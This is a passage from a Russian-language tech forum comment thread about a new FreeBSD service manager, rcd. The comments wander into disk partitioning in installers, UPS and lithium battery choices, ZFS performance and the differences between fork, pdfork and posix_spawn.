    autopart прямой поставки из 80х годов прошлого века за каким-то лешим всегда создает никому ненужный /home на все "лишнее" свободное место на диске. --nohome - внезапно... оставляет "лишнее" просто пустым.

    Убунту, к счастью, можно уговорить не страдать хренью и всегда использовать все свободное место на диске под один раздел. (нормально изолировать /var /srv /opt - не, нельзя, ну или придется каждый раз калькулятор использовать)

    ну а чо вы хотите, эпоха линукса-на-десктопе. Правда опять в виртуалочке в макоси.

     
     
  • 7.398, User (??), 11:54, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > у меня нет десктопов.
    > ну а чо вы хотите, эпоха линукса-на-десктопе. Правда опять в виртуалочке в
    > макоси.

    Ну, на серверах все еще веселее бывает :). Ставил тут zVirt на проекте - на сервере вот флешка в 64 гб. По дефолту - выделяет /var, /var/log, еще что-то куда-то. Как будто бы не совсем то, что нужно. Выбираю ручной режим, убираю лишнего и ээээ... чота странное - количество доступного места уменьшиолсь. Ну ок, может осчитались где? Ставлю и вижу: эти <censored> создали разделы в соответствии со своими представлениями о прекрасном, не примонтировали их (!), под "твои" требования отдали все что осталось - еще и в логах ругаюццо, что мол нет выделенного раздела под ххх и ууу.

     
     
  • 8.401, нах. (?), 12:25, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    тут возможно и имеет смысл изолировать логи от базы и от системы тоже Чтоб оно ... текст свёрнут, показать
     
     
  • 9.405, User (??), 13:05, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Есть Более того, я так и хотел сделать а вот var с postgres как раз таки не... текст свёрнут, показать
     
  • 2.58, Ivan_83 (ok), 15:00, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Сильно зависит от того как и что вы собрались чинить.
    По мне сильно проще сохранить etc, var и что ещё было руками накручено и "переставить" систему/перезалить бинарники, чем делать какие то странные упражнения по ручной починке чего то там внутри.
    И собственно за 15+ лет использования у меня фря ломалась всего несколько раз, и вроде 1-2 из них было после неудачных обновлений, остальное были проблемы с железом.

    Я и /rescue то не держу (там как раз все версии бинарников статически слинкованные, специально для ручного восстановления о котором вы) - не вижу смысла возится в раздолбаной системе.

     
     
  • 3.275, нах. (?), 20:01, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Сильно зависит от того как и что вы собрались чинить.
    > По мне сильно проще сохранить etc, var и что ещё было руками

    вот и сиди, вспоминай, что там было еще и где.
    И потом пару недель - что там и где еще было забыто и почему вылез глюк исправленный пять лет назад.

    > раз, и вроде 1-2 из них было после неудачных обновлений, остальное
    > были проблемы с железом.

    и чего - железо резко стало беспроблемное или ну его просто стало нахрен? А на десктопе, поди, венда.

     
     
  • 4.300, Ivan_83 (ok), 23:26, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не, так уже не бывает практически.
    В том смысле что пользовательские данные не разбрасываются обычно по всяким не понятным местам в системе, а системные понятно где хранятся.
    По крайней мере на десктопе и медиаплеерах так.
    На домашнем сервере совсем мизер беспорядка, но там инсталляция по сути живёт наверное с 2009 года.

    Нет, мне просто везло наверное с железом и собственно инсталляций у меня было мало.
    На десктопе венды нет вроде с 2015 года, и как то не хочется :)

     
     
  • 5.305, нах. (?), 00:11, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    у меня основной потерей будут - настройки системы. Воспроизводить их вот для рабочих именно - очень долго и больно. А что я там менял пять минут назад - не помню уже. Систем не одна, настроек много.

    ну и вон того видео, которого в ютубе больше нет, а в хранилку еще не собрался скопировать - тоже будет жалко.

    А с железом бывает вообще что угодно - хитачи (кто тут недавно хвалил? что мол надежно как танк и собрано из дерьма и палок. В общем, да, дерьмо и палки.) вон намедне нае...сь и даже не чирикнула.

    И да, нельзя ли изобрести такой ups, о смерти батареи в котором узнают ДО того как он сдыхает при попытке на нее переключиться?

     
     
  • 6.313, Аноним (163), 04:50, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Есть конечно, профессиональные ИБП для серверов Умные UPS Линейка Smart и выш... большой текст свёрнут, показать
     
     
  • 7.317, нах. (?), 09:26, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    ты нипаверишь Нет, кнопка тестирования батарейки тебе ничем не поможет Нет н... большой текст свёрнут, показать
     
  • 7.331, Ivan_83 (ok), 14:27, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся история сохраняется и можно найти какое видео смотрел, если только в ручную не отключить.

    Да вы совсем юны и наивны :)
    Удачи вам найти яузкий в оригинале или песенку про шпиль, тоже в оригинале а не перемыленое мыло.

     
  • 6.330, Ivan_83 (ok), 14:23, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Так вот странно что у вас настройки системы за пределами etc и var разбросаны.

    Я считаю UPS устаревшей темой, при случае просто поставлю набор для солнечной автономки, который вполне себе online UPS.
    Там нонче BMS умные и умеют считать сколько батарея запасла энергии, так что даже тестов никаких не надо, и работа от батарей там не разовый инцендент а ежедневно используемый функционал.

     
     
  • 7.341, нах. (?), 16:10, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Там нонче BMS умные и умеют считать сколько батарея запасла энергии

    упсы тоже умеют, но есть нюанс - сколько она там "запасла" (или не запасла а просадила в тепло) не равно тому сколько потом проработает под нагрузкой. В этом собака и порылась.

    солнечное автономное питание на домик поросенка, а не один полудохлый ноут - стоит и весит столько, что окупится (без зильонанутых подачек) ровно никогда.

    (у меня оно, если кто не в курсе - есть, но это именно зарядить ноут где-то в заднице мира, и лучше не думать сколько это все весит и стоит)

     
     
  • 8.364, Ivan_83 (ok), 22:46, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Так смотря сколько у вас кВт ч стоит, и насколько часто отключения vs насколько ... текст свёрнут, показать
     
  • 8.382, Аноним (-), 02:31, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Просто алго классических упсов и правда хтонически тупы по сравнению с современн... большой текст свёрнут, показать
     
     
  • 9.388, Ivan_83 (ok), 07:01, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну вот я тоже немного в офигении от такой разницы между UPS и тем что для питани... текст свёрнут, показать
     
     
  • 10.394, нах. (?), 09:34, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    чем тебе не угодил - свинец Он в десять раз дешевле, в сто раз пожаробезопаснее... большой текст свёрнут, показать
     
     
  • 11.412, Ivan_83 (ok), 14:41, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Свинец мне не угодил циклами и тем что оно в 99 случаев стартовое а не тяговое,... большой текст свёрнут, показать
     
     
  • 12.415, нах. (?), 15:33, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    оно - разное Необязательно брать батарейку из под грузовика Циклы как раз нужн... большой текст свёрнут, показать
     
     
  • 13.428, Ivan_83 (ok), 17:20, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Я когда то давно искал Тогда были свинцовые для яхт и пр, специально тяговые С... большой текст свёрнут, показать
     
     
  • 14.434, нах. (?), 17:51, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    таким ничего сварить не получится, инфа 100 И даже за 100 приходит нерабочее из... большой текст свёрнут, показать
     
     
  • 15.437, Ivan_83 (ok), 17:59, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Почитайте тему по лучше 1 LiFePo4 ставятся вместо свинца и работают Но если... большой текст свёрнут, показать
     
     
  • 16.439, нах. (?), 18:40, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    сколько-то и как-то Потому что для правильного заряда им сccv нужна, ее нет И ... текст свёрнут, показать
     
     
  • 17.444, Ivan_83 (ok), 19:44, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Давно смотрел тему В целом если напруга меньше - то ничего там не греется, оно ... текст свёрнут, показать
     
     
  • 18.481, Аноним (-), 04:06, 20/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Еще бывает забавная тема чуть меньших масштабов - акб электроинструмента, есть м... текст свёрнут, показать
     
  • 14.483, Аноним (483), 12:48, 20/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А что мешает холдер то купить Они ж копейки стоят и продаются - везде Не поним... большой текст свёрнут, показать
     
  • 11.480, Аноним (-), 04:02, 20/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Уже давно не в десять Стоит он очень даже, по мере массовения и доведения до ум... большой текст свёрнут, показать
     
     
  • 12.482, нах. (?), 09:07, 20/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    сравним - раз в пять-семь дороже если не заморачиваться тем что еще и не являетс... большой текст свёрнут, показать
     
     
  • 13.484, Аноним (416), 16:08, 20/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Мне недавно на глаза попалась банка энергетика за 2300 вашенских тугриков, 2 3... большой текст свёрнут, показать
     
     
  • 14.485, нах. (?), 10:14, 21/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    главное ж не проверять, что она на самом деле может смс не лох уже отправил н... большой текст свёрнут, показать
     
     
  • 15.486, Аноним (-), 12:58, 22/09/2026 Скрыто ботом-модератором     [к модератору]
  • +/–
     
  • 13.487, Аноним (487), 16:02, 22/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Мне недавно на глаза попалась банка энергетика за 2300 вашенских тугриков, 2 3... большой текст свёрнут, показать
     
  • 10.436, Аноним (-), 17:58, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Как я уже сказал - индустрия UPS наглухо застряла в гребаных девяностых и являет... большой текст свёрнут, показать
     
  • 9.393, нах. (?), 09:18, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    чтобы померять _реальное_ состояние батареи - ее, ВНЕЗАПНО, надо РАЗРЯДИТЬ РЕАЛ... текст свёрнут, показать
     
     
  • 10.438, Аноним (-), 18:09, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Однако допустим внутреннее сопротивление - только подумай - на ура меряется диф... большой текст свёрнут, показать
     

     ....большая нить свёрнута, показать (55)

  • 1.57, Аноним (57), 14:42, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/–
    делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd
     
     
  • 2.318, нах. (?), 09:29, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd

    приступай, чего ты ждешь-то?

    А то ж ведь опять сделают не так как тебе мечталось.


     
     
  • 3.353, _ (??), 20:04, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Да сделать то лучше - можно. А вот заменить ... "хто-ж Ёму дастЪ?!(С)"
     
     
  • 4.355, нах. (?), 20:44, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Да сделать то лучше - можно. А вот заменить ... "хто-ж Ёму
    > дастЪ?!(С)"

    ну хотя бы на локалхосте.
    учитывая сколько лет некоторым моим локалхостам - оно даже было бы оправдано.

    но проще, разумеется, наплевать и забыть.


     

  • 1.73, MaLinovsky (?), 16:12, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/–
    Runit с кривым конфигом? Чем им SMF не угодил? Притащили ZFS из Solaris, так чего было мелочиться? Взяли бы и SMF заодно, ведь это ее системдэ косплеил десятилетиями. А там уже все круто и готово к работе. Или сами не осилили портирование как было с ZFS и Sun Microsystems им с этим грешным делом помогали потом? Многие орали что ZFS тоже не упрощенка и да производительность не в потолок, но m.2 накопителям на PCIE 5 это безразлично. И вообще как выпустят DDR6 и введут норму в 32 гига уже и пол гига отжираемые файловой системой станут мелочью. Это по факту выглядит как клон быстрого инита и не более того. Собственно скорее всего это и есть наиболее быстрый вариант запуска, но зачем делать корявый язык программирования как норму настройки неизвестно. А то развели фиг пойми что в теме. Или это ради избавления от как говорят обыватели баш портянок? Они же не в курсе что шелл скрипты это sh, а не bash, хотя есть еще dash, zsh и так далее. Дичь когда в комментариях пусто практически. Один человек вспомнил SMF, но не понял на что смотрит.
     
     
  • 2.80, Аноним (19), 16:53, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    >ZFS
    >PCIE
    >DDR

    Ты, я смотрю, в сознание вообще не приходишь. Че сказать-то хотел?

     
     
  • 3.191, Malinovsky (?), 11:51, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Научись читать прямо, а не наискосок, а то в голове одна каша будет из аббревиатур.
     
  • 2.142, Аноним (142), 03:20, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Dlss 5 забыл
     
     
  • 3.192, Malinovsky (?), 11:51, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не пользуюсь.
     
  • 2.270, Аноним (-), 19:18, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –3 +/–
    > Многие орали что ZFS тоже не упрощенка и да производительность не
    > в потолок, но m.2 накопителям на PCIE 5 это безразлично.

    Вообще-то на быстрых накопителях - оверхед ФС как раз сильнее всего ощущается и ZFS помрет - именно поэтому. На сверхскоростных SSD - он рубиться с линуксными фс не сможет от слова совсем. Потому что по сути блочный дизайн а не экстентный даже.

     
     
  • 3.282, Malinovsky (?), 20:49, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –2 +/–
    Я вот сомневаюсь что помрет Видите ли Linus Tech Tips не совсем круглые идиоты ... большой текст свёрнут, показать
     
     
  • 4.383, Аноним (-), 02:57, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Сомневайтесь наздоровье Но это энтерпрайзный утюг, лучше всего с его устройство... большой текст свёрнут, показать
     

  • 1.79, Аноним (78), 16:53, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    Во-первых, баян, во-вторых, не взлетит.
     
     
  • 2.87, Аноним (87), 18:28, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Тоже не сильно понятно зачем оно нужно, если bsd init и так самый адекватный на сегодня.
     
     
  • 3.101, Аноним (101), 20:59, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Все пользуются.
     
  • 3.171, нах. (?), 10:34, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    bsd init не имеет к этому никакого отношения, ни rc.d ни rcd - не инит.

    А зачем понадобилось заменять rc.d - ну вот просто посмотри в скрипт, к примеру, запускающий mysqld, и подумай, если есть чем - что будешь делать если надо что-то поправить (особенно - в чужой работающей системе).  Или - хочется ли тебе написать такой же для нового порта такой же развесистости и сложности.

    И сразу поймешь, зачем.

    ctrlc-ctrlv подход имеет определенные недостатки по сравнению с готовым кодом в одном экземпляре.

     
     
  • 4.346, User (??), 16:42, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > bsd init не имеет к этому никакого отношения, ни rc.d ни rcd
    > - не инит.
    > А зачем понадобилось заменять rc.d - ну вот просто посмотри в скрипт,
    > к примеру, запускающий mysqld, и подумай, если есть чем - что
    > будешь делать если надо что-то поправить (особенно - в чужой работающей
    > системе).  Или - хочется ли тебе написать такой же для
    > нового порта такой же развесистости и сложности.
    > И сразу поймешь, зачем.
    > ctrlc-ctrlv подход имеет определенные недостатки по сравнению с готовым кодом в одном
    > экземпляре.

    Эээээ... а чего тут думать? Клаву просить надо!

     
     
  • 5.349, нах. (?), 17:18, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Эээээ... а чего тут думать? Клаву просить надо!

    ● Login expired · Please run /login

    (а неоткуда, из запрещенных стран нельзя логиниться)

    ну и токе... времени на самом деле не напасешься, в одиночку весь мир переделывать.

     
  • 2.112, Ivan_83 (ok), 21:46, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Почему не взлетит то?
    Они просто будут постепенно внедрять, чтобы не ломать совместимость и пользовательские привычки.
    К 19-25 версии сделают дефолтным, лет через 5-15, там никто не торопится.
     

  • 1.82, Аноним (82), 17:14, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    Чем это лучше dinit?
     
  • 1.86, нах. (?), 17:57, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/–
    В общем выглядит пока как systemd здорового человека.
    Единственное что смущает - автор, поскольку pkg...

    надо ведь было постараться сделать новую версию _всего_лишь_ cli к базенке key-value - на ровном месте несовместимой с недостаточно модным ядром фри. А он вот когда-то уже давно - СМОГ!

    С другой стороны, никого ж уже и не жалко...

     
     
  • 2.111, Ivan_83 (ok), 21:43, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –2 +/–
    Да ладно, надо было выкинуть UCL и юзать LUA для конфигов тоже, было бы намного винрарнее.

    Единственное что меня заинтересовало: как он сделал обновление без потери состояния?

     

  • 1.88, Аноним (88), 19:06, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/–
    Классную приблуду навайбкодили! Поддерживаю!
     
     
  • 2.114, warlock66613 (ok), 21:50, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    У вас есть информация что разработчики этого проекта присоединились к предателям человечества?
     
     
  • 3.311, Аноним (163), 04:18, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Разработчики этого проекта не были замечания в работе на аннунаков.
     
     
  • 4.319, агент рептилоидов (?), 09:31, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Разработчики этого проекта не были замечания в работе на аннунаков.

    Поскольку господа наши не одобряют работу на конкурирующие компании.

     

  • 1.91, Норм (?), 20:09, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/–
    Молодци.
    Фря движется медленно но движение есть.
     
  • 1.124, pansa2 (?), 23:24, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    Еще таймеры туда добавть. Таймеры - хорошо. Только без вот этого уродского синтаксиса времени, как у системдЫ, а в остальном они прям хороши. Но без журналды только. Вот это зло.
     
     
  • 2.443, Аноним (442), 19:17, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    а у системДы и нету таймеров. Если комп уснул - таймеры не работают. И никакой WakeSystem не помогает.
     

  • 1.127, Dmitry (??), 23:28, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    Сколько комментариев, и ни один не увидел слово "pdfork()"
    Я вот, например, глазами читаю текст новости, а вы чем ?
     
     
  • 2.129, warlock (??), 00:07, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Запускалка процессов использует системную функцию предназначенную для создания процессов чтобы создавать процессы. Вот это поворот!
     
     
  • 3.181, Dmitry (??), 11:27, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Почитайте про отличия между fork(), pdfork() и pdrfork()
     
     
  • 4.216, warlock66613 (ok), 13:59, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Я читал. Как я понял fork() принципиально сломан и не может быть использован ни в какой ситуации, кроме как когда надо просто стартовать процесс и забыть о нём. Так что было бы странно, если бы новый проект его использовал.
     
  • 4.304, Ivan_83 (ok), 23:41, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Проблема в том, что все эти форки нафиг не сдались.
    posix_spawn() - вот что хочется юзать а не переизобретать каждый раз с нуля все эти ритуальные способы правильно родить процесс и не упустить никаких деталей.
     
     
  • 5.320, нах. (?), 09:42, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Проблема в том, что все эти форки нафиг не сдались.
    > posix_spawn() - вот что хочется юзать

    тебе в макось. Кажется, это единственная ос где он реализован не в виде враппера вокруг fork() (или clone() как в линуксе где fork сам враппер). fork() при этом там поломан настолько что им в общем случае вообще запрещено пользоваться.

    А авторы юникс полагали что важнее как раз не упустить деталей от parent процесса, а не максимально тщательно их зачистить.

     
     
  • 6.328, Ivan_83 (ok), 14:16, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Думаю мне просто подождать ещё пару лет. :)
    Во фрёвом мане написано что posix_spawn() работает поверх vfork().
    Через пару лет сделают версию чтобы работала поверх pdfork() и проблема сама собой решится.

    На самом деле у меня на фре оно работает немного странно на мой взгляд, и после posix_spawn() процесс не работает, пока waitpid() не дёрнешь, а до того как его дёрнешь pid уже валидный и его можно привязать к kqueue() или засунуть в похожий механизм инукса для мониторинга процессов.

     
     
  • 7.356, нах. (?), 20:59, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    потому что это - враппер самостоятельно делающий то что нормальный юникс-кодер... большой текст свёрнут, показать
     
     
  • 8.365, Ivan_83 (ok), 22:51, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Я понимаю что это враппер и сахар, и именно поэтому его и заюзал - самому было л... текст свёрнут, показать
     
  • 5.384, Аноним (-), 03:10, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • –2 +/–
    > Проблема в том, что все эти форки нафиг не сдались.
    > posix_spawn() - вот что хочется юзать а не переизобретать каждый раз с
    > нуля все эти ритуальные способы правильно родить процесс и не упустить
    > никаких деталей.

    А надо то было - стырить clone() из линуха. Который на самом деле - по мотивам вызовов Plan9 так то сделан. Там тред, процесс и контейнер как таковые отличаются в основном объемом unshare()'d добра.

    Но чтоб совсем не упустить никаких деталей... вы явно недооцениваете количество этих самых деталей. И все их единоразово выкинуть - а что делать с существующим софтом и совместимостью с POSIX?!

     
  • 2.133, Ivan_83 (ok), 00:19, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Думаете опечатка?
    А вот нет: https://man.freebsd.org/cgi/man.cgi?pdfork(2)
     
     
  • 3.168, Dmitry (??), 10:27, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Нет, я наоборот, хотел, чтобы обратили внимание, что rcd, в отличие от штатного rc, не смотрит на pid процесса в /var/run
     
     
  • 4.182, Ivan_83 (ok), 11:33, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Тут как бы да и как бы посмотрим.
    pidfd вот только завезли в систему.
    Надо посмотреть что там внутри и можно ли это дампить на диск, если да то и в обычный rc.d поддержка приедет.
     
     
  • 5.303, Ivan_83 (ok), 23:37, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ошибся

    The pdfork(), pdgetpid(), and  pdkill()  system  calls  first  appeared  in FreeBSD  9.0.
    The pdrfork() and pdwait() system calls first appeared in FreeBSD 15.1.

     
  • 5.357, нах. (?), 21:03, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > pidfd вот только завезли в систему.
    > Надо посмотреть что там внутри и можно ли это дампить на диск,

    файловый ("файловый") дескриптор там внутри. Нельзя, имеет смысл только в контексте процесса, как и любой fd.

     
     
  • 6.366, Ivan_83 (ok), 22:53, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну тогда да, видимо инфа сокрыта в ядре а наружу только fd торчит.
     
     
  • 7.440, нах. (?), 18:42, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Ну тогда да, видимо инфа сокрыта в ядре а наружу только fd
    > торчит.

    там есть pgetpid (или как там его) возвращающий нормальный pid из дескриптора. Но, кажется, нет никакой возможности вернуть обратно.

     
     
  • 8.445, Ivan_83 (ok), 19:47, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Технически то нужно было совсем немного больше время старта процесса pid чтоб... текст свёрнут, показать
     
  • 8.446, Ivan_83 (ok), 19:51, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    ЫЫ шмугла подсказал ps -p PID -o lstart те уже вчера можно было решить пробл... текст свёрнут, показать
     
  • 2.310, Аноним (163), 04:15, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Анонимные эксперты в принципе не читают текст новости, в лучшем случае они дочитывают заголовок до конца.
     

  • 1.148, Аноним (148), 04:37, 11/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/–
    В серьез нацелились в десктоп, похоже.
     
     
  • 2.329, Укропатолог (?), 14:17, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Первым признаком нацеливания на десктоп, было бы написание драйверов для блютуза, вифи, нфс, вебкамер и прочих плюшек. А это просто кому-то захотелось повайбкодить.
     
     
  • 3.360, _ (??), 22:26, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    И как же ты его напишешь если производитель шелезяки сам не пишет и другим не даеЁт?
    Реверсить виндовые драйвера? Или сразу железку? Ну дык таких упоротых больше не делают, так что вряд ли :-\
     

  • 1.283, Метрика (?), 21:38, 11/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    Хоть что то своё за долгие годы, а когда то фря была лидером удобных и продуманных инструментов для админов и программистов, пока с линукс не связалась
     
     
  • 2.284, Malinovsky (?), 21:57, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –4 +/–
    Проблема не в линукс Просто процесс разделения кодовой базы Unix и BSD шел долг... большой текст свёрнут, показать
     

  • 1.327, Укропатолог (?), 14:15, 12/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    И сюда вайбкодеры добрались со своим оверинжинирингом. Вся надежда на openbsd теперь.
     
     
  • 2.337, Аноним (337), 15:54, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > И сюда вайбкодеры добрались со своим оверинжинирингом.

    Куда это "сюда"? UCL во фре уже больше десяти лет используется - в той же pkg.conf
    pkg кстати уже лет 14 как есть, с "оверинжинирнутой" sqlite базой, вместо простых и понятных текстовых файлов, которых дидам за глаза хватало 🙄

    > Вся надежда на openbsd теперь.

    Чей-то (возможно, опыт торчания на опеннете) подсказывает, что самые активные местные "надеждальщики" и знатоки, "как нужно правильно" предпочитают надеятся и раздовать ценные указания из под макоси/венды ...


     
     
  • 3.339, Укропатолог (?), 16:09, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > раздовать ценные указания из под макоси/венды

    Так всё верно.
    Адекватный человек на десктопе будет сидеть на винде или на маке, а все эти линуксы и бзди только по ssh для работы.

     
     
  • 4.348, Аноним (337), 17:04, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    >> раздовать ценные указания из под макоси/венды
    > Так всё верно.
    > Адекватный человек на десктопе будет сидеть на винде или на маке

    И вещать про "оверинжиниринг" запускали сервисов бзд ... "И вот так у вас - все!"©

    И чего так скромно? В другой теме (только что наткнулся)
    > Сообщение от <mat3 ban> (?), 12-Сен-26, 16:17
    > Открываю gimp на маке - всё красиво.

    Вишь, как я угадал.

     
     
  • 5.350, Укропатолог (?), 17:25, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Так всё верно, работать приходится с разным железом, но для себя предпочитаю мак, ибо могу позволить.
     
     
  • 6.354, Аноним (337), 20:32, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > но для себя предпочитаю мак, ибо могу позволить.

    Н-да. Ладно бы "потому что удобно", но как символ достатка и успеха ... надеюсь и чешский хрусталь в румынской стенке есть? 😀

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    XSQUARE
    Inferno Solutions
    Hosting by Hoster.ru
    Хоcтинг: